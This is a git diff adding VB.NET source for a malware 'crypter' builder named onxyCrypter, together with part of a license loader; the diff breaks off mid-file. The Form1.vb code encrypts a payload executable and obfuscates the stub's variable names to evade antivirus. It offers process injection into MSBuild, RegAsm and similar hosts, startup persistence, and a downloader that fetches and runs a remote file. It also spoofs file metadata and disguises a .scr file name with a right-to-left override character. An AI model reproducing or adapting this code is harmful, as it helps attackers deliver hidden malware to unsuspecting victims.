AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA + + + \ No newline at end of file diff --git a/scode (onxyCrypter/builder/builder/Form1.vb b/scode (onxyCrypter/builder/builder/Form1.vb new file mode 100644 index 0000000..292a7fd --- /dev/null +++ b/scode (onxyCrypter/builder/builder/Form1.vb @@ -0,0 +1,642 @@ +Imports System.IO +Imports System.Security.Cryptography +Imports System.Text +Imports System.Reflection.Emit +Imports System.Net +Imports System.Collections.Generic +Imports Microsoft.VisualBasic.CompilerServices +Imports System.ComponentModel +Imports System.Data +Imports System.Drawing +Imports System.Windows.Forms +Imports System.Diagnostics +Imports System.Threading +Imports System.Text.RegularExpressions +Imports Microsoft.Win32 +Imports System.Runtime.InteropServices + +Public Class Form1 + Dim Compiler As New EthernalCompiler + 'Additional Functions + Public Function random_key(ByVal lenght As Integer) As String + Randomize() + Dim s As New System.Text.StringBuilder("") + Dim b() As Char = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray() + For i As Integer = 1 To lenght + Randomize() + Dim z As Integer = Int(((b.Length - 2) - 0 + 1) * Rnd()) + 1 + s.Append(b(z)) + Next + Return s.ToString + End Function + Public Function CreateFakeAPI(ByVal number As Integer) As String + Dim sb As New System.Text.StringBuilder + For i As Integer = 0 To number - 1 + sb.Append(vbNewLine + "Public Declare Function " & RA(GetRandom(5, 30)) & " Lib " & Chr(34) & RA(GetRandom(5, 30)) & ".dll"" (ByVal " & RA(GetRandom(5, 30)) & " As String, ByVal " & RA(GetRandom(5, 30)) & " As String(), ByVal " & RA(GetRandom(5, 30)) & " As Char) As Byte()") + Next + Return sb.ToString + End Function + Public Function GetRandom(ByVal Min As Integer, ByVal Max As Integer) As Integer + Dim Generator As System.Random = New System.Random() + Return Generator.Next(Min, Max) + End Function + Public Function RA(ByVal lenght As Integer) As String + Randomize() : Dim b() As Char : Dim s As New System.Text.StringBuilder("") : b = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm".ToCharArray() : For i As Integer = 1 To lenght : Randomize() : Dim z As Integer = Int(((b.Length - 2) - 0 + 1) * Rnd()) + 1 : s.Append(b(z)) : Next : Return s.ToString + End Function + + + Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) + Dim cat As Byte() = IO.File.ReadAllBytes("banking.dll") + Dim str As String = Convert.ToBase64String(cat) + IO.File.WriteAllText("banking.base64", str) + End Sub + Public Function bite(ByVal input As String) As Byte() + Dim bt As Byte() = System.Text.Encoding.Default.GetBytes(input) + Return bt + End Function + Public Function str1(ByVal input As Byte()) As String + Dim st As String = System.Text.Encoding.Default.GetString(input) + Return st + End Function + Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) + ' Dim str As Byte() = PolyRevCrypt(IO.File.ReadAllBytes(TextBox1.Text), "lol") + ' IO.File.WriteAllBytes("crypted.txt", str) + ' IO.File.WriteAllBytes("raw2.exe", PolyRevDeCrypt(str, "lol")) + End Sub + Public Shared Function PolyRevDeCrypt(ByVal data As Byte(), ByVal pass As String) As Byte() + Array.Reverse(data) + Dim rndByte As Byte = data(data.Length - 1) + Dim passByte As Byte() = System.Text.Encoding.ASCII.GetBytes(pass) + Dim Out As Byte() = New Byte(data.Length) {} + Dim u As Integer = 0 + For i As Integer = 0 To data.Length - 1 + Out(i) = CByte((data(i) Xor rndByte) Xor passByte(u)) + Array.Reverse(passByte) + If u = passByte.Length - 1 Then + u = 0 + Else + u += 1 + End If + Next + Array.Resize(Out, Out.Length - 2) + Return Out + End Function + + Public Function IsManaged(ByVal exe As Byte()) As Boolean + Return exe(&H3C) = &H80 + End Function + Public Sub checkd(ByVal path As String) + GhostComboBox1.Items.Clear() + If IsManaged(IO.File.ReadAllBytes(VTextBox1.Text)) = False Then + VRadiobutton1.Checked = True + VRadiobutton2.Checked = False + GhostComboBox1.Items.Add("cvtres.exe") + GhostComboBox1.Items.Add("vbc.exe") + GhostComboBox1.Items.Add("csc.exe") + GhostComboBox1.Items.Add("AppLaunch.exe") + GhostComboBox1.Items.Add("MSBuild.exe") + GhostComboBox1.Items.Add("Self Injection") + GhostComboBox1.Text = "cvtres.exe" + Else + VRadiobutton2.Checked = True + VRadiobutton1.Checked = False + GhostComboBox1.Items.Add("MSBuild.exe") + GhostComboBox1.Items.Add("RegAsm.exe") + GhostComboBox1.Items.Add("RegSvcs.exe") + GhostComboBox1.Items.Add("Self Injection") + GhostComboBox1.Text = "MSBuild.exe" + End If + End Sub + Sub New() + + InitializeComponent() + RichTextBox1.ReadOnly = True + ' Seal.Protection = RuntimeProtection.None + ' Seal.RunHook = AddressOf LicenseRun + ' Seal.BanHook = AddressOf LicenseBan + ' Seal.RenewHook = AddressOf LicenseRenew + ' Seal.Initialize("001E0000") 'Required + PictureBox1.Image = Me.Icon.ToBitmap + 'Seal.RenewHook.Invoke() + 'ProtectProcess() + End Sub + + + Sub LicenseBan() + MessageBox.Show("Executing BanHook code.") + End Sub + + Sub LicenseRun() + ' MessageBox.Show("Executing RunHook code.") + End Sub + + Sub LicenseRenew() + LicenseRenewEx() + End Sub + + Sub LicenseRenewEx() + Label3.Text = "Username: " & Seal.Username + ' Label2.Text = "Update Available: " & Seal.UpdateAvailable.ToString() + Label4.Text = "Expiration Date: " & Seal.ExpirationDate.ToString() + Label5.Text = "Time Remaining: " & Seal.TimeRemaining.ToString() + 'Label3.Text = "License Points: " & Seal.Points.ToString("N0") + Label6.Text = "License Type: " & Seal.LicenseType.ToString() + 'Label7.Text = "Unlimited Time: " & Seal.UnlimitedTime.ToString() + Label7.Text = "Users Online: " & Seal.UsersOnline & " / " & Seal.UsersCount + 'Label8.Text = "GUID: " & Seal.GUID + Label8.Text = Seal.GlobalMessage + End Sub + Private Sub ShowNewsEntries() + ListView1.Items.Clear() + For Each P As NewsPost In Seal.News + Dim I As New ListViewItem(P.Time.ToString("MM.dd.yy")) + I.SubItems.Add(P.Name) + I.Tag = P + ListView1.Items.Add(I) + Next + End Sub + + Private Sub ShowPostMessage(ByVal post As NewsPost) + Dim Message As String = Seal.GetPostMessage(post.ID) + + If String.IsNullOrEmpty(Message) Then + ShowNewsEntries() + Else + news.VTextBox1.Text = post.Name + news.VTextBox2.Text = Message + End If + End Sub + + + Private Sub ListView1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) + If ListView1.SelectedIndices.Count = 0 Then Return + ShowPostMessage(DirectCast(ListView1.SelectedItems(0).Tag, NewsPost)) + news.Show() + End Sub + + Private Sub ListView1_MouseMove(ByVal sender As Object, ByVal e As MouseEventArgs) + If ListView1.GetItemAt(e.X, e.Y) Is Nothing Then + ListView1.Cursor = Cursors.Default + Else + ListView1.Cursor = Cursors.Hand + End If + End Sub + + Private Sub ListView1_DrawSubItem(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DrawListViewSubItemEventArgs) + Dim SB As New SolidBrush(e.SubItem.ForeColor) + + e.DrawBackground() + e.Graphics.DrawString(e.SubItem.Text, e.SubItem.Font, SB, e.Bounds, Nothing) + + SB.Dispose() + End Sub + + Private Sub VTextBox1_DragDrop(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles VTextBox1.DragDrop + Dim File As String() = CType(e.Data.GetData(DataFormats.FileDrop), String()) + Dim F As String = File(0) + Dim fType As String = F.Substring(F.LastIndexOf(".") + 1) + If fType.Contains("exe") Then + VTextBox1.Text = F + Else + MessageBox.Show("The file you're trying to add must be EXE.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error) + Exit Sub + End If + checkd(VTextBox1.Text) + End Sub + + Private Sub VTextBox1_DragEnter(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles VTextBox1.DragEnter + If e.Data.GetDataPresent(DataFormats.FileDrop) Then + e.Effect = DragDropEffects.Copy + End If + End Sub + Private Sub VTextBox17_DragDrop(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles VTextBox17.DragDrop + Dim File As String() = CType(e.Data.GetData(DataFormats.FileDrop), String()) + Dim F As String = File(0) + Dim fType As String = F.Substring(F.LastIndexOf(".") + 1) + If fType.Contains("exe") Then + VTextBox17.Text = F + Else + VTextBox17.Text = F + End If + + End Sub + + Private Sub VTextBox17_DragEnter(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles VTextBox17.DragEnter + If e.Data.GetDataPresent(DataFormats.FileDrop) Then + e.Effect = DragDropEffects.Copy + End If + End Sub + Private Sub VButton2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VButton2.Click + Dim o As New OpenFileDialog With {.Filter = "Executable Files (.exe)|*.exe", .ShowHelp = True} + If o.ShowDialog = vbOK Then + VTextBox1.Text = o.FileName + End If + checkd(VTextBox1.Text) + + End Sub + + Private Sub VButton3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VButton3.Click + Dim o As New OpenFileDialog With {.Filter = "Icon Files (.ico)|*.ico", .ShowHelp = True} + If o.ShowDialog = vbOK Then + VTextBox2.Text = o.FileName + End If + PictureBox3.ImageLocation = VTextBox2.Text + End Sub + Private Sub VTextBox2_DragDrop(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles VTextBox2.DragDrop + Dim File As String() = CType(e.Data.GetData(DataFormats.FileDrop), String()) + Dim F As String = File(0) + Dim fType As String = F.Substring(F.LastIndexOf(".") + 1) + If fType.Contains("ico") Then + VTextBox2.Text = F + Else + MessageBox.Show("The file you're trying to add must be ICO.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error) + Exit Sub + End If + PictureBox3.ImageLocation = VTextBox2.Text + End Sub + + Private Sub VTextBox2_DragEnter(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles VTextBox2.DragEnter + If e.Data.GetDataPresent(DataFormats.FileDrop) Then + e.Effect = DragDropEffects.Copy + End If + End Sub + + Private Sub VCheckBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VCheckBox1.Click + If VCheckBox1.Checked = True Then + Label17.Enabled = True + VTextBox10.Enabled = True + Label18.Enabled = True + VTextBox11.Enabled = True + Label20.Enabled = True + VTextBox12.Enabled = True + VRadiobutton3.Enabled = True + VRadiobutton4.Enabled = True + Else + Label17.Enabled = False + VTextBox10.Enabled = False + Label18.Enabled = False + VTextBox11.Enabled = False + Label20.Enabled = False + VTextBox12.Enabled = False + VRadiobutton3.Enabled = False + VRadiobutton4.Enabled = False + End If + End Sub + Dim sb As New System.Text.StringBuilder() + Private Sub RandomPool1_CharacterSelection(ByVal s As System.Object, ByVal c As System.Char) + sb.Append(c) + If sb.Length < 50 Then VTextBox13.Text = sb.ToString + VButton1.Enabled = True + End Sub + + Private Sub VCheckBox5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VCheckBox5.Click + If VCheckBox5.Checked = True Then + VTextBox16.Enabled = True + Else + VTextBox16.Enabled = False + End If + End Sub + + Private Sub VCheckBox6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VCheckBox6.Click + If VCheckBox6.Checked = True Then + VTextBox17.Enabled = True + VButton5.Enabled = True + Else + VTextBox17.Enabled = False + VButton5.Enabled = False + End If + End Sub + + Private Sub VCheckBox7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VCheckBox7.Click + If VCheckBox7.Checked = True Then + VTextBox18.Enabled = True + VTextBox19.Enabled = True + Else + VTextBox18.Enabled = False + VTextBox19.Enabled = False + End If + End Sub + + Private Sub VCheckBox3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VCheckBox3.Click + If VCheckBox3.Checked = True Then + VTextBox14.Enabled = True + Else + VTextBox14.Enabled = False + + End If + End Sub + + Private Sub VCheckBox4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VCheckBox4.Click + If VCheckBox4.Checked = True Then + VTextBox15.Enabled = True + Else + VTextBox15.Enabled = False + + End If + End Sub + Public Shared Function PolyRevCrypt(ByVal data As Byte(), ByVal pass As String) As Byte() + Dim rndByte As Byte = CByte(New Random().[Next](1, 255)) + Dim passByte As Byte() = System.Text.Encoding.ASCII.GetBytes(pass) + Dim Out As Byte() = New Byte(data.Length) {} + Dim u As Integer = 0 + For i As Integer = 0 To data.Length - 1 + Out(i) = CByte((data(i) Xor passByte(u)) Xor rndByte) + Array.Reverse(passByte) + If u = passByte.Length - 1 Then + u = 0 + Else + u += 1 + End If + Next + Array.Resize(Out, Out.Length) + Out(Out.Length - 1) = rndByte + Array.Reverse(Out) + Return Out + End Function + Public Function GeneratePassword() + Dim s As String = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ∀ℬℭÐℰℱḠ♓ℐⒿḰℒℳℵ☮Ṕℚℛϟ✝ÜṼ₩✕¥☡AБCDЁFGHЇJКLMЙОPФЯ$TЦVШЖУZ" + Dim r As New Random + Dim sb As New StringBuilder + For i As Integer = 1 To GetRandom(10, 45) + Dim idx As Integer = r.Next(1, 80) + sb.Append(s.Substring(idx, 1)) + Next + Return sb.ToString() + End Function + Public Function ROT13Encode(ByVal InputText As String) As String + Dim str As String = "" + Dim num3 As Integer = (InputText.Length - 1) + Dim i As Integer = 0 + Do While (i <= num3) + Dim charCode As Integer = Strings.Asc(Convert.ToChar(InputText.Substring(i, 1))) + If ((charCode >= &H61) And (charCode <= &H6D)) Then + charCode = (charCode + 13) + ElseIf ((charCode >= 110) And (charCode <= &H7A)) Then + charCode = (charCode - 13) + ElseIf ((charCode >= &H41) And (charCode <= &H4D)) Then + charCode = (charCode + 13) + ElseIf ((charCode >= &H4E) And (charCode <= 90)) Then + charCode = (charCode - 13) + End If + str = (str & Conversions.ToString(Strings.ChrW(charCode))) + i += 1 + Loop + Return str + End Function + Public Function Rot13(ByVal source$) + Dim matchs As MatchCollection = Regex.Matches(source, "Dim .* As ") + Dim num3 As Integer = (matchs.Count - 1) + Dim i As Integer = 0 + Do While (i <= num3) + Dim expression As String = matchs.Item(i).Value + Dim list As New ArrayList + expression = expression.Replace("Dim ", "").Replace(" As ", "") + list.AddRange(Strings.Split(expression, ",", -1, CompareMethod.Binary)) + Dim num4 As Integer = (list.Count - 1) + Dim j As Integer = 0 + Do While (j <= num4) + source = Regex.Replace(source, Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject("( |\n|\(|,)", list.Item(j)), "( |\.|\(|\)|\n|\r|,)")), ("$1" & Me.ROT13Encode(Conversions.ToString(list.Item(j))) & Me.RndString & "$2")) + j += 1 + Loop + i += 1 + Loop + Return source + End Function + Public Function RndString() As String + Dim objRandom As Random = New Random(CInt((DateTime.Now.Ticks Mod &H7FFFFFFF))) + Dim str As String = Conversions.ToString(If((objRandom.Next(1, 3) = 1), Strings.Chr(objRandom.Next(&H41, &H5B)), Strings.Chr(objRandom.Next(&H61, &H7B)))) + Dim num2 As Integer = objRandom.Next(5, 50) + Dim i As Integer = 1 + Do While (i <= num2) + Dim ch As Char + Select Case objRandom.Next(1, 4) + Case 1 + ch = Strings.Chr(objRandom.Next(&H41, &H5B)) + Exit Select + Case 2 + ch = Strings.Chr(objRandom.Next(&H61, &H7B)) + Exit Select + Case 3 + ch = Strings.Chr(objRandom.Next(&H30, &H3A)) + Exit Select + End Select + str = (str & Conversions.ToString(ch)) + i += 1 + Loop + Return str + End Function + Private Sub ReverseRandom(ByVal source$) + Dim matchs As MatchCollection = Regex.Matches(source, "Dim .* As ") + Dim num3 As Integer = (matchs.Count - 1) + Dim i As Integer = 0 + Do While (i <= num3) + Dim expression As String = matchs.Item(i).Value + Dim list As New ArrayList + expression = expression.Replace("Dim ", "").Replace(" As ", "") + list.AddRange(Strings.Split(expression, ",", -1, CompareMethod.Binary)) + Dim num4 As Integer = (list.Count - 1) + Dim j As Integer = 0 + Do While (j <= num4) + source = Regex.Replace(source, Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject("( |\n|\(|,)", list.Item(j)), "( |\.|\(|\)|\n|\r|,)")), ("$1" & Me.RndString & Strings.StrReverse(Conversions.ToString(list.Item(j))) & "$2")) + j += 1 + Loop + i += 1 + Loop + End Sub + Private Sub VButton1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VButton1.Click + ' ListBox1.Items.Clear() + ' ListBox1.Items.Add("Locating Resources..") + Dim pass$ = GeneratePassword() + VTextBox13.Text = pass + Dim source As String = IO.File.ReadAllText("C:\Users\Richie\Desktop\stub\stub\banking.vb") + Dim input As Byte() = PolyRevCrypt(IO.File.ReadAllBytes(VTextBox1.Text), pass) + IO.File.WriteAllBytes("format.txt", input) + IO.File.WriteAllBytes("banking.dll", PolyRevCrypt(My.Resources.banking, pass)) + 'ListBox1.Items.Add("Writting Data..") + source = source.Replace("%3%", VTextBox3.Text) + source = source.Replace("%4%", VTextBox4.Text) + source = source.Replace("%5%", VTextBox5.Text) + source = source.Replace("%6%", VTextBox6.Text) + source = source.Replace("%7%", VTextBox7.Text) + source = source.Replace("%8%", VTextBox8.Text) + source = source.Replace("%9%", VTextBox9.Text) + source = source.Replace("%pass%", pass) + If GhostComboBox1.Text = "Self Injection" Then + source = source.Replace("LF(""%injection%"")", "System.Reflection.Assembly.GetExecutingAssembly.Location()") + Else + source = source.Replace("%injection%", GhostComboBox1.Text) + End If + If VRadiobutton3.Checked = True Then + source = source.Replace("%AppTemp%", "APPDATA") + ElseIf VRadiobutton4.Checked = True Then + source = source.Replace("%AppTemp%", "TEMP") + End If + If VCheckBox1.Checked = True Then + source = source.Replace("%install%", "tgcape.crabhut(Application.ExecutablePath)") + source = source.Replace("%KeyName%", VTextBox10.Text) + source = source.Replace("%FileName%", VTextBox11.Text) + source = source.Replace("%SubName%", VTextBox12.Text) + Else + source = source.Replace("%install%", "") + End If + If VCheckBox3.Checked = True Then + source = source.Replace("%Delay%", "System.Threading.Thread.Sleep(" + VTextBox14.Text + "000)") + + Else + source = source.Replace("%Delay%", "") + End If + If VCheckBox5.Checked = True Then + source = source.Replace("%Downloader%", "Dim wc As New WebClient : Dim pths As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) : IO.File.WriteAllBytes(pths + ""/akons.exe"", wc.DownloadData(""" + VTextBox16.Text + """)) : Process.Start(pths + ""/akons.exe"")") + + Else + source = source.Replace("%Downloader%", "") + End If + If VCheckBox6.Checked = True Then + source = source.Replace("%Binder%", Path.GetFileName(VTextBox17.Text)) + source = source.Replace("%Binder2%", Path.GetFileNameWithoutExtension(VTextBox17.Text)) + Compiler.AddResource(Path.GetFileNameWithoutExtension(VTextBox17.Text), VTextBox17.Text) + Else + source = source.Replace("%Binder%", "") + source = source.Replace("%Binder2%", "") + End If + If VCheckBox7.Checked = True Then + source = source.Replace("%errormsg%", "MsgBox(""" + VTextBox19.Text + """, MsgBoxStyle.Critical, """ + VTextBox18.Text + """)") + + Else + source = source.Replace("%errormsg%", "") + End If + source = Rot13(source) + ReverseRandom(source) + Compiler.Source = source + Compiler.File_Align = File_Align._512 + Compiler.DotNetVersion = DotNetVersion.v2 + Compiler.Platform = Platform.x86 + Compiler.ErrorLog = False + Compiler.References = New [String]() {"system.windows.forms.dll", "system.drawing.dll", "Microsoft.VisualBasic.dll", "mscorlib.dll"} + Compiler.AddResource("banking", "banking.dll") + Compiler.AddResource("text", "format.txt") + Compiler.Target = Target.WinForms + Compiler.SilentMode = False + Compiler.Optimize = True + Compiler.Icon = getico() + 'ListBox1.Items.Add("Compiling Executable..") + Compiler.Compile("btc.exe") + IO.File.Delete("banking.dll") + IO.File.Delete("format.txt") + IO.File.Delete("icon.ico") + If VCheckBox4.Checked = True Then + 'ListBox1.Items.Add("Spoofing Exstension..") + Try + Dim Ext$ = "bitcoins.scr" 'File Location. (Declare this with a OpenFileDialog for example) + Dim cX As Char = ChrW(8238) + Dim FileName$ = Path.GetFileName(Ext) + Dim Int# = FileName.Length - 4 'Detecting the Extension. (Executing windows exploit) + Dim cY As Char() = VTextBox15.Text.ToCharArray() + Array.Reverse(cY) + Dim Dir$ = FileName.Substring(0, Int) & cX & New String(cY) & FileName.Substring(Int) + File.Move(FileName, Dir) + Catch + End Try + End If + 'ListBox1.Items.Add("Mission Complete!") + End Sub + + Public Function getico() + If VTextBox2.Text = " Drag 'n Drop" Then + Dim ms As New MemoryStream() + Dim Icon As Icon = My.Resources.icon + Icon.Save(ms) + IO.File.WriteAllBytes("icon.ico", ms.GetBuffer()) + Return "icon.ico" + Else + Return VTextBox2.Text + End If + End Function + Private Sub VButton4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VButton4.Click + Dim s() As String = GetAllStartupFile() + Dim a As String + Dim randomNumber As New Random +restart: + a = s(randomNumber.Next(0, s.Length)) + If a = Nothing Then + Else + Try + GetFileInfo(a) + Catch + GoTo restart + End Try + End If + End Sub + Private Function GetFileInfo(ByVal filename As String) As Version + Dim Info As FileVersionInfo + Info = FileVersionInfo.GetVersionInfo(filename) + VTextBox3.Text = Path.GetFileNameWithoutExtension(filename) + VTextBox4.Text = Info.CompanyName + VTextBox5.Text = Info.ProductName + VTextBox6.Text = Info.LegalCopyright + VTextBox7.Text = Info.LegalTrademarks + VTextBox8.Text = Info.FileVersion + VTextBox9.Text = Info.ProductVersion + If VTextBox8.Text.Contains(",") Then + VTextBox8.Text = GetRandom(1, 19) & "." & GetRandom(0, 20) & "." & GetRandom(0, 50) & "." & GetRandom(0, 99) + VTextBox9.Text = GetRandom(1, 19) & "." & GetRandom(0, 25) & "." & GetRandom(0, 65) & "." & GetRandom(0, 90) + End If + End Function + + Public Function GetAllStartupFile() As String() + Dim result() As String = Nothing + Dim regKey As RegistryKey = Nothing + Dim arrCounter As Integer = 0 + Try + 'FOR CURRENT USER + regKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", False) + 'result = regKey.GetValueNames() + For Each itm As String In regKey.GetValueNames + itm.Replace(Chr(34), "") + ReDim Preserve result(arrCounter) + result(arrCounter) = CType(regKey.GetValue(itm), String) + arrCounter += 1 + Next + regKey.Close() + 'FOR LOCAL MACHINE/ALL USER + regKey = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", False) + 'result = regKey.GetValueNames() + For Each itm As String In regKey.GetValueNames + itm.Replace(Chr(34), "") + ReDim Preserve result(arrCounter) + result(arrCounter) = CType(regKey.GetValue(itm), String) + arrCounter += 1 + Next + regKey.Close() + Return result + Catch ex As Exception + Finally + If Not regKey Is Nothing Then + regKey.Close() + End If + + End Try + Return result + End Function + + Private Sub VButton6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VButton6.Click + Dim o As New OpenFileDialog With {.Filter = "Executable Files (.exe)|*.exe", .ShowHelp = True} + If o.ShowDialog = vbOK Then + GetFileInfo(o.FileName) + End If + End Sub + + Private Sub VRadiobutton3_MouseLeave(ByVal sender As Object, ByVal e As System.EventArgs) Handles VRadiobutton3.MouseLeave + If VRadiobutton3.Checked = True Then + VRadiobutton4.Checked = False + End If + End Sub + + + Private Sub VRadiobutton4_MouseLeave(ByVal sender As Object, ByVal e As System.EventArgs) Handles VRadiobutton4.MouseLeave + If VRadiobutton4.Checked = True Then + VRadiobutton3.Checked = False + End If + End Sub + +End Class diff --git a/scode (onxyCrypter/builder/builder/License.vb b/scode (onxyCrypter/builder/builder/License.vb new file mode 100644 index 0000000..7b5ae70 --- /dev/null +++ b/scode (onxyCrypter/builder/builder/License.vb @@ -0,0 +1,778 @@ +Imports System +Imports System.Net +Imports System.Text +Imports System.IO +Imports System.IO.Compression +Imports System.Diagnostics +Imports System.Reflection +Imports System.Windows.Forms +Imports System.ComponentModel +Imports System.Security.Cryptography +Imports System.Collections.Generic +Imports System.Runtime.InteropServices +Imports System.Net.Security +Imports System.Security +Imports System.Security.Cryptography.X509Certificates + +''' +''' License Loader, Version: 2.0.0.5, Changed: 03/23/2013 +''' + +Friend NotInheritable Class License + +#Region " ReadOnly Properties " + + ReadOnly Property Username As String + Get + Dim Data As Object = Instance.GetMethod("GetUsername").Invoke(Nothing, Nothing) + Return DirectCast(Data, String) + End Get + End Property + + Private _ProductVersion As Version + ReadOnly Property ProductVersion As Version + Get + If _ProductVersion Is Nothing Then + _ProductVersion = New Version(Application.ProductVersion) + End If + + Return _ProductVersion + End Get + End Property + + ReadOnly Property ExecutablePath As String + Get + Dim Data As Object = Instance.GetMethod("GetExecutablePath").Invoke(Nothing, Nothing) + Return DirectCast(Data, String) + End Get + End Property + + ReadOnly Property GlobalMessage As String + Get + Dim Data As Object = Instance.GetMethod("GetMessage").Invoke(Nothing, Nothing) + Return DirectCast(Data, String) + End Get + End Property + + ReadOnly Property ExpirationDate As Date + Get + Dim Data As Object = Instance.GetMethod("GetExpiration").Invoke(Nothing, Nothing) + Return DirectCast(Data, Date) + End Get + End Property + + ReadOnly Property TimeRemaining As TimeSpan + Get + Dim Data As Object = Instance.GetMethod("GetRemaining").Invoke(Nothing, Nothing) + Return DirectCast(Data, TimeSpan) + End Get + End Property + + ReadOnly Property LicenseType As LicenseType + Get + Dim Data As Object = Instance.GetMethod("GetLicenseType").Invoke(Nothing, Nothing) + Return DirectCast(Data, LicenseType) + End Get + End Property + + ReadOnly Property Points As Integer + Get + Dim Data As Object = Instance.GetMethod("GetPoints").Invoke(Nothing, Nothing) + Return DirectCast(Data, Integer) + End Get + End Property + + ReadOnly Property UnlimitedTime As Boolean + Get + Dim Data As Object = Instance.GetMethod("GetUnlimitedTime").Invoke(Nothing, Nothing) + Return DirectCast(Data, 